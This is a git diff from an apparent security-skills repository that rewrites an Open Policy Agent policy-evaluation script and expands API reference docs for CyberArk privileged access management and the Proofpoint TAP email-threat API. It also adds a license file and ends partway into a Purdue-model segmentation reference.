-1,61 +1,273 @@ #!/usr/bin/env python3 -"""OPA policy-as-code implementation audit.""" -import argparse, json, sys +"""Open Policy Agent (OPA) policy-as-code agent. + +Evaluates security policies against infrastructure configurations using +the OPA REST API or CLI. Supports evaluating Rego policies for Kubernetes +admission control, Terraform plans, IAM policies, and custom security rules. +""" +import argparse +import json +import os +import subprocess +import sys from datetime import datetime, timezone + try: import requests except ImportError: requests = None -def audit_config(target, token): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings -def check_compliance(target, token): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} +def find_opa_binary(): + """Locate the OPA binary on the system.""" + custom_path = os.environ.get("OPA_PATH") + if custom_path and os.path.isfile(custom_path): + return custom_path + for name in ["opa", "opa.exe"]: + for directory in os.environ.get("PATH", "").split(os.pathsep): + full_path = os.path.join(directory, name) + if os.path.isfile(full_path): + return full_path + return None + + +def eval_policy_cli(opa_bin, policy_path, input_path, data_path=None, query="data"): + """Evaluate a Rego policy using OPA CLI.""" + cmd = [opa_bin, "eval", "--format", "json"] + cmd.extend(["--bundle", policy_path]) + if input_path: + cmd.extend(["--input", input_path]) + if data_path: + cmd.extend(["--data", data_path]) + cmd.append(query) + + print(f"[*] Running: {' '.join(cmd)}") + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=120, + ) + if result.returncode != 0: + print(f"[!] OPA error: {result.stderr}", file=sys.stderr) + return None try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings + return json.loads(result.stdout) + except json.JSONDecodeError: + print(f"[!] Failed to parse OPA output", file=sys.stderr) + return None + + +def eval_policy_api(opa_url, policy_path, input_data): + """Evaluate a policy via OPA REST API.""" + if not requests: + print("[!] 'requests' library required for API mode", file=sys.stderr) + sys.exit(1) + url = f"{opa_url}/v1/data/{policy_path.replace('.', '/')}" + print(f"[*] Querying OPA API: {url}") + resp = requests.post( + url, + json={"input": input_data}, + timeout=30, + ) + resp.raise_for_status() + return resp.json() + + +def test_policies(opa_bin, policy_dir): + """Run OPA test suite against policy directory.""" + cmd = [opa_bin, "test", "--format", "json", policy_dir, "-v"] + print(f"[*] Running policy tests: {' '.join(cmd)}") + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=120, + ) + try: + test_results = json.loads(result.stdout) + except json.JSONDecodeError: + test_results = [] + return test_results, result.returncode + + +def check_policy_syntax(opa_bin, policy_path): + """Check Rego policy syntax.""" + cmd = [opa_bin, "check", "--format", "json", policy_path] + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=30, + ) + if result.returncode == 0: + print(f"[+] Policy syntax valid: {policy_path}") + return True, [] + try: + errors = json.loads(result.stdout) + except json.JSONDecodeError: + errors = [{"message": result.stderr}] + print(f"[!] Syntax errors in {policy_path}") + return False, errors + + +def extract_violations(eval_result, violation_key="violations"): + """Extract policy violations from OPA evaluation result.""" + violations = [] + if not eval_result: + return violations + + results = eval_result.get("result", []) + if isinstance(results, list): + for entry in results: + bindings = entry.get("bindings", {}) + expressions = entry.get("expressions", []) + for expr in expressions: + value = expr.get("value", {}) + if isinstance(value, dict): + for key, val in value.items(): + if key == violation_key and isinstance(val, list): + violations.extend(val) + elif isinstance(val, dict): + nested_violations = val.get(violation_key, []) + if isinstance(nested_violations, list): + violations.extend(nested_violations) + elif isinstance(results, dict): + violations = results.get(violation_key, []) + + return violations + + +def format_summary(violations, test_results, policy_path, input_path): + """Print evaluation summary.""" + print(f"\n{'='*60}") + print(f" OPA Policy Evaluation Report") + print(f"{'='*60}") + print(f" Policy : {policy_path}") + print(f" Input : {input_path or 'N/A'}") + print(f" Violations: {len(violations)}") + + if test_results: + passed = sum(1 for t in test_results if t.get("pass", t.get("result") == "pass")) + failed = len(test_results) - passed + print(f" Tests : {passed} passed, {failed} failed") + + if violations: + severity_counts = {} + for v in violations: + sev = "HIGH" + if isinstance(v, dict): + sev = v.get("severity", v.get("level", "HIGH")) + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + print(f"\n Violations by Severity:") + for sev, count in sorted(severity_counts.items()): + print(f" {sev:10s}: {count}") + + print(f"\n Violation Details:") + for v in violations[:20]: + if isinstance(v, dict): + msg = v.get("msg", v.get("message", str(v))) + resource = v.get("resource", v.get("name", "")) + sev = v.get("severity", "HIGH") + print(f" [{sev:6s}] {resource:30s} | {msg[:60]}") + else: + print(f" {str(v)[:80]}") + + return len(violations) + def main(): - p = argparse.ArgumentParser(description="OPA policy-as-code implementation audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] OPA policy-as-code implementation audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="Open Policy Agent policy-as-code evaluation agent" + ) + sub = parser.add_subparsers(dest="command", help="Action") + + p_eval = sub.add_parser("eval", help="Evaluate policy against input") + p_eval.add_argument("--policy", required=True, help="Path to Rego policy or bundle dir") + p_eval.add_argument("--input", dest="input_file", help="Path to input JSON") + p_eval.add_argument("--data", help="Path to external data JSON") + p_eval.add_argument("--query", default="data", help="OPA query (default: data)") + p_eval.add_argument("--violation-key", default="violations", + help="Key in result containing violations") + + p_api = sub.add_parser("api", help="Evaluate via OPA REST API") + p_api.add_argument("--url", default="http://localhost:8181", help="OPA server URL") + p_api.add_argument("--policy-path", required=True, help="OPA document path (e.g., authz.allow)") + p_api.add_argument("--input", dest="input_file", required=True, help="Input JSON file") + + p_test = sub.add_parser("test", help="Run OPA test suite") + p_test.add_argument("--policy-dir", required=True, help="Directory containing policies and tests") + + p_check = sub.add_parser("check", help="Check Rego syntax") + p_check.add_argument("--policy", required=True, help="Policy file or directory") + + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if not args.command: + parser.print_help() + sys.exit(1) + + opa_bin = find_opa_binary() + violations = [] + test_results = [] + + if args.command == "eval": + if not opa_bin: + print("[!] OPA binary not found", file=sys.stderr) + sys.exit(1) + eval_result = eval_policy_cli( + opa_bin, args.policy, args.input_file, args.data, args.query + ) + violations = extract_violations(eval_result, args.violation_key) + format_summary(violations, [], args.policy, args.input_file) + + elif args.command == "api": + with open(args.input_file, "r") as f: + input_data = json.load(f) + eval_result = eval_policy_api(args.url, args.policy_path, input_data) + violations = extract_violations(eval_result) + format_summary(violations, [], args.policy_path, args.input_file) + + elif args.command == "test": + if not opa_bin: + print("[!] OPA binary not found", file=sys.stderr) + sys.exit(1) + test_results, returncode = test_policies(opa_bin, args.policy_dir) + format_summary([], test_results, args.policy_dir, None) + + elif args.command == "check": + if not opa_bin: + print("[!] OPA binary not found", file=sys.stderr) + sys.exit(1) + valid, errors = check_policy_syntax(opa_bin, args.policy) + if not valid: + for e in errors: + print(f" Error: {e}") + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "Open Policy Agent", + "command": args.command, + "violations_count": len(violations), + "violations": violations, + "test_results": test_results, + "risk_level": ( + "CRITICAL" if len(violations) > 10 + else "HIGH" if len(violations) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-privileged-access-management-with-cyberark/SKILL.md b/skills/implementing-privileged-access-management-with-cyberark/SKILL.md index 25558c09..58c00824 100644 --- a/skills/implementing-privileged-access-management-with-cyberark/SKILL.md +++ b/skills/implementing-privileged-access-management-with-cyberark/SKILL.md @@ -45,7 +45,7 @@ Deploy CyberArk Privileged Access Management to discover, vault, rotate, and mon 5. **Reconciliation**: Re-sync credentials when vault and target are out of sync 6. **Decommissioning**: Remove accounts no longer needed -## Implementation Steps +## Workflow ### Step 1: Vault Architecture Design 1. Deploy primary vault server in secured network segment diff --git a/skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md b/skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md index 1ebf5df7..0e906b65 100644 --- a/skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md +++ b/skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md @@ -1,27 +1,179 @@ -# API Reference: CyberArk PAM configuration audit +# API Reference: CyberArk Privileged Access Management -## API Endpoints -CyberArk: POST /PasswordVault/api/auth/cyberark/logon, GET /api/Accounts, GET /api/Safes +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for CyberArk PVWA REST API | +| `json` | Parse CyberArk JSON responses | +| `os` | Read environment variables for credentials | +| `urllib.parse` | URL-encode safe and account query parameters | ## Installation + ```bash pip install requests ``` -## Libraries - -| Library | Use | -|---------|-----| -| `requests` | requests SDK/client | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +CyberArk PVWA REST API requires session token authentication: + +```python +import requests +import os + +PVWA_URL = os.environ.get("CYBERARK_URL", "https://pvwa.example.com") + +# CyberArk credential authentication +resp = requests.post( + f"{PVWA_URL}/PasswordVault/api/auth/cyberark/logon", + json={ + "username": os.environ["CYBERARK_USER"], + "password": os.environ["CYBERARK_PASS"], + }, + timeout=30, + verify=True, +) +session_token = resp.json() # Returns session token string +headers = {"Authorization": session_token} +``` + +### LDAP Authentication +```python +resp = requests.post( + f"{PVWA_URL}/PasswordVault/api/auth/ldap/logon", + json={"username": user, "password": password}, + timeout=30, + verify=True, +) +``` + +### RADIUS Authentication +```python +resp = requests.post( + f"{PVWA_URL}/PasswordVault/api/auth/radius/logon", + json={"username": user, "password": otp_code}, + timeout=30, + verify=True, +) +``` + +## REST API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/api/auth/{method}/logon` | Authenticate (cyberark, ldap, radius) | +| POST | `/api/auth/logoff` | End session | +| GET | `/api/Accounts` | List privileged accounts | +| GET | `/api/Accounts/{id}` | Get account details | +| POST | `/api/Accounts` | Add a new privileged account | +| PATCH | `/api/Accounts/{id}` | Update account properties | +| DELETE | `/api/Accounts/{id}` | Delete an account | +| POST | `/api/Accounts/{id}/Password/Retrieve` | Retrieve account password | +| POST | `/api/Accounts/{id}/Change` | Trigger password change | +| POST | `/api/Accounts/{id}/Reconcile` | Reconcile password | +| POST | `/api/Accounts/{id}/Verify` | Verify password on target | +| GET | `/api/Safes` | List safes | +| GET | `/api/Safes/{name}` | Get safe details | +| POST | `/api/Safes` | Create a safe | +| GET | `/api/Safes/{name}/Members` | List safe members | +| POST | `/api/Safes/{name}/Members` | Add safe member | +| GET | `/api/Platforms` | List platforms | +| GET | `/api/ComponentsMonitoringDetails/{component}` | System health | + +## Core Operations + +### List Privileged Accounts +```python +resp = requests.get( + f"{PVWA_URL}/PasswordVault/api/Accounts", + headers=headers, + params={"search": "Linux", "limit": 100}, + timeout=30, + verify=True, +) +accounts = resp.json() +for acct in accounts.get("value", []): + print(f"{acct['name']} — platform: {acct['platformId']}, safe: {acct['safeName']}") +``` + +### Retrieve a Password (Check-Out) +```python +resp = requests.post( + f"{PVWA_URL}/PasswordVault/api/Accounts/{account_id}/Password/Retrieve", + headers=headers, + json={"reason": "Automated security audit"}, + timeout=30, + verify=True, +) +password = resp.text # Returns the password as plain text +``` + +### List Safes and Audit Permissions +```python +resp = requests.get( + f"{PVWA_URL}/PasswordVault/api/Safes", + headers=headers, + params={"limit": 200}, + timeout=30, + verify=True, +) +for safe in resp.json().get("value", []): + members_resp = requests.get( + f"{PVWA_URL}/PasswordVault/api/Safes/{safe['safeName']}/Members", + headers=headers, + timeout=30, + verify=True, + ) + members = members_resp.json().get("value", []) + print(f"Safe: {safe['safeName']} — {len(members)} members") +``` + +### Trigger Password Rotation +```python +resp = requests.post( + f"{PVWA_URL}/PasswordVault/api/Accounts/{account_id}/Change", + headers=headers, + json={"ChangeEntireGroup": False}, + timeout=60, + verify=True, +) +``` + +### Logoff +```python +requests.post( + f"{PVWA_URL}/PasswordVault/api/auth/logoff", + headers=headers, + timeout=10, + verify=True, +) +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "value": [ + { + "id": "42_8", + "name": "root-linux-prod01", + "address": "10.0.1.50", + "userName": "root", + "platformId": "UnixSSH", + "safeName": "LinuxRoot", + "secretType": "password", + "platformAccountProperties": { + "LogonDomain": "", + "Port": "22" + }, + "secretManagement": { + "automaticManagementEnabled": true, + "lastModifiedTime": 1705334400 + } + } + ], + "count": 1 +} ``` diff --git a/skills/implementing-privileged-access-management-with-cyberark/scripts/agent.py b/skills/implementing-privileged-access-management-with-cyberark/scripts/agent.py index e9bc753f..e0ba5e81 100644 --- a/skills/implementing-privileged-access-management-with-cyberark/scripts/agent.py +++ b/skills/implementing-privileged-access-management-with-cyberark/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """CyberArk PAM configuration audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-privileged-access-workstation/scripts/agent.py b/skills/implementing-privileged-access-workstation/scripts/agent.py index b568ce4b..3ce4fbf6 100644 --- a/skills/implementing-privileged-access-workstation/scripts/agent.py +++ b/skills/implementing-privileged-access-workstation/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse import subprocess -import re from datetime import datetime diff --git a/skills/implementing-privileged-identity-management-with-azure.bak/LICENSE b/skills/implementing-privileged-identity-management-with-azure.bak/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/implementing-privileged-identity-management-with-azure.bak/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/implementing-privileged-identity-management-with-azure/SKILL.md b/skills/implementing-privileged-identity-management-with-azure.bak/SKILL.md similarity index 100% rename from skills/implementing-privileged-identity-management-with-azure/SKILL.md rename to skills/implementing-privileged-identity-management-with-azure.bak/SKILL.md diff --git a/skills/implementing-privileged-identity-management-with-azure/references/api-reference.md b/skills/implementing-privileged-identity-management-with-azure.bak/references/api-reference.md similarity index 100% rename from skills/implementing-privileged-identity-management-with-azure/references/api-reference.md rename to skills/implementing-privileged-identity-management-with-azure.bak/references/api-reference.md diff --git a/skills/implementing-privileged-identity-management-with-azure/scripts/agent.py b/skills/implementing-privileged-identity-management-with-azure.bak/scripts/agent.py similarity index 100% rename from skills/implementing-privileged-identity-management-with-azure/scripts/agent.py rename to skills/implementing-privileged-identity-management-with-azure.bak/scripts/agent.py diff --git a/skills/implementing-privileged-session-monitoring/scripts/agent.py b/skills/implementing-privileged-session-monitoring/scripts/agent.py index 0ec42b38..73d33fe0 100644 --- a/skills/implementing-privileged-session-monitoring/scripts/agent.py +++ b/skills/implementing-privileged-session-monitoring/scripts/agent.py @@ -7,7 +7,6 @@ track privileged access, detect anomalies, and generate audit reports. import argparse import json -import os import re import sys import datetime diff --git a/skills/implementing-proofpoint-email-security-gateway/SKILL.md b/skills/implementing-proofpoint-email-security-gateway/SKILL.md index b6e756a0..5f6a9f6d 100644 --- a/skills/implementing-proofpoint-email-security-gateway/SKILL.md +++ b/skills/implementing-proofpoint-email-security-gateway/SKILL.md @@ -44,7 +44,7 @@ Proofpoint Email Protection is a cloud-native secure email gateway (SEG) that ac | Attachment | Static + dynamic sandboxing | Malware, ransomware | | Post-delivery | TRAP (auto-retraction) | Weaponized after delivery | -## Implementation Steps +## Workflow ### Step 1: Plan Mail Flow Architecture - Document current MX records and mail flow path diff --git a/skills/implementing-proofpoint-email-security-gateway/references/api-reference.md b/skills/implementing-proofpoint-email-security-gateway/references/api-reference.md index b8cf7344..a55b88ab 100644 --- a/skills/implementing-proofpoint-email-security-gateway/references/api-reference.md +++ b/skills/implementing-proofpoint-email-security-gateway/references/api-reference.md @@ -1,28 +1,175 @@ -# API Reference: Proofpoint email security gateway audit +# API Reference: Proofpoint Email Security Gateway -## API Endpoints -Proofpoint TAP API v2: GET /v2/siem/clicks/blocked, GET /v2/siem/messages/delivered +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for Proofpoint TAP API v2 | +| `json` | Parse threat and message event data | +| `os` | Read `PROOFPOINT_SP` and `PROOFPOINT_SECRET` credentials | +| `datetime` | Build ISO-8601 time range queries | ## Installation + ```bash -pip install requests hmac +pip install requests ``` -## Libraries - -| Library | Use | -|---------|-----| -| `requests` | requests SDK/client | -| `hmac` | hmac SDK/client | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +Proofpoint TAP API uses HTTP Basic Auth with service principal and secret: + +```python +import requests +import os +from requests.auth import HTTPBasicAuth + +PROOFPOINT_URL = "https://tap-api-v2.proofpoint.com" +auth = HTTPBasicAuth( + os.environ["PROOFPOINT_SP"], # Service Principal + os.environ["PROOFPOINT_SECRET"], # Secret +) +``` + +## TAP API v2 Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/v2/siem/messages/blocked` | Messages blocked by Proofpoint | +| GET | `/v2/siem/messages/delivered` | Messages delivered (with threats) | +| GET | `/v2/siem/clicks/blocked` | Blocked URL clicks | +| GET | `/v2/siem/clicks/permitted` | Permitted URL clicks (with threats) | +| GET | `/v2/siem/all` | All events (messages + clicks) | +| GET | `/v2/siem/issues` | Campaign and threat issues | +| GET | `/v2/people/vap` | Very Attacked People report | +| GET | `/v2/forensics` | Threat forensics detail | +| POST | `/v2/quarantine/release` | Release message from quarantine | +| POST | `/v2/quarantine/delete` | Delete message from quarantine | + +## Core Operations + +### Fetch Blocked Messages +```python +from datetime import datetime, timedelta + +def get_blocked_messages(hours_back=1): + since = (datetime.utcnow() - timedelta(hours=hours_back)).strftime( + "%Y-%m-%dT%H:%M:%SZ" + ) + resp = requests.get( + f"{PROOFPOINT_URL}/v2/siem/messages/blocked", + auth=auth, + params={ + "sinceTime": since, + "format": "json", + }, + timeout=60, + ) + resp.raise_for_status() + return resp.json().get("messagesBlocked", []) +``` + +### Fetch Permitted Clicks with Threats +```python +def get_permitted_clicks(hours_back=24): + since = (datetime.utcnow() - timedelta(hours=hours_back)).strftime( + "%Y-%m-%dT%H:%M:%SZ" + ) + resp = requests.get( + f"{PROOFPOINT_URL}/v2/siem/clicks/permitted", + auth=auth, + params={"sinceTime": since, "format": "json"}, + timeout=60, + ) + resp.raise_for_status() + return resp.json().get("clicksPermitted", []) +``` + +### Get All SIEM Events +```python +def get_all_events(hours_back=1): + since = (datetime.utcnow() - timedelta(hours=hours_back)).strftime( + "%Y-%m-%dT%H:%M:%SZ" + ) + resp = requests.get( + f"{PROOFPOINT_URL}/v2/siem/all", + auth=auth, + params={"sinceTime": since, "format": "json"}, + timeout=120, + ) + resp.raise_for_status() + data = resp.json() + return { + "messages_blocked": data.get("messagesBlocked", []), + "messages_delivered": data.get("messagesDelivered", []), + "clicks_blocked": data.get("clicksBlocked", []), + "clicks_permitted": data.get("clicksPermitted", []), + } +``` + +### Get Very Attacked People (VAP) +```python +def get_vap_report(days=30): + resp = requests.get( + f"{PROOFPOINT_URL}/v2/people/vap", + auth=auth, + params={"window": days, "size": 100}, + timeout=60, + ) + resp.raise_for_status() + return resp.json().get("users", []) +``` + +### Extract Threat IOCs +```python +def extract_iocs(events): + iocs = {"urls": set(), "senders": set(), "subjects": set(), "sha256": set()} + for msg in events.get("messages_blocked", []) + events.get("messages_delivered", []): + iocs["senders"].add(msg.get("sender", "")) + iocs["subjects"].add(msg.get("subject", "")) + for threat in msg.get("threatsInfoMap", []): + if threat.get("threatUrl"): + iocs["urls"].add(threat["threatUrl"]) + if threat.get("sha256"): + iocs["sha256"].add(threat["sha256"]) + return {k: list(v) for k, v in iocs.items()} +``` + +## Query Parameters + +| Parameter | Type | Description | +|-----------|------|-------------| +| `sinceTime` | ISO-8601 | Start time (required, max 1 hour back for `/all`) | +| `sinceSeconds` | int | Seconds before now (alternative to sinceTime) | +| `format` | string | Response format: `json` (default) or `syslog` | +| `threatType` | string | Filter: `url`, `attachment`, `messageText` | +| `threatStatus` | string | Filter: `active`, `cleared`, `falsePositive` | ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "messagesBlocked": [ + { + "GUID": "abc123-def456", + "QID": "r1234567", + "sender": "attacker@malicious.example.com", + "recipient": ["user@company.com"], + "subject": "Invoice #12345 Attached", + "messageTime": "2025-01-15T10:30:00Z", + "threatsInfoMap": [ + { + "threat": "https://evil.example.com/payload", + "threatType": "url", + "threatStatus": "active", + "classification": "phish", + "sha256": "a1b2c3d4e5f6..." + } + ], + "malwareScore": 100, + "phishScore": 95, + "spamScore": 0 + } + ] +} ``` diff --git a/skills/implementing-proofpoint-email-security-gateway/scripts/agent.py b/skills/implementing-proofpoint-email-security-gateway/scripts/agent.py index f6b4e611..37b6f96e 100644 --- a/skills/implementing-proofpoint-email-security-gateway/scripts/agent.py +++ b/skills/implementing-proofpoint-email-security-gateway/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Proofpoint email security gateway audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-purdue-model-network-segmentation/references/api-reference.md b/skills/implementing-purdue-model-network-segmentation/references/api-reference.md index bac8d4fa..e87c1139 100644 --- a/skills/implementing-purdue-model-network-segmentation/references/api-reference.md +++ b/skills/implementing-purdue-model-network-segmentation/references/api-reference.md @@ -1,28 +1,183 @@ -# API Reference: Purdue model OT network segmentation audit +# API Reference: Purdue Model OT Network Segmentation Audit -## API Endpoints -Levels L0-L5, DMZ at L3.5, firewall rules, asset classification, traffic flow validation +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `scapy` | Network packet analysis and traffic flow validation | +| `requests` | Firewall API calls for rule review | +| `json` | Parse asset inventory and segmentation policy | +| `ipaddress` | Validate IP ranges and subnet assignments | +| `socket` | Port connectivity testing across Purdue levels | ## Installation + ```bash pip install scapy requests ``` -## Libraries +## Purdue Model 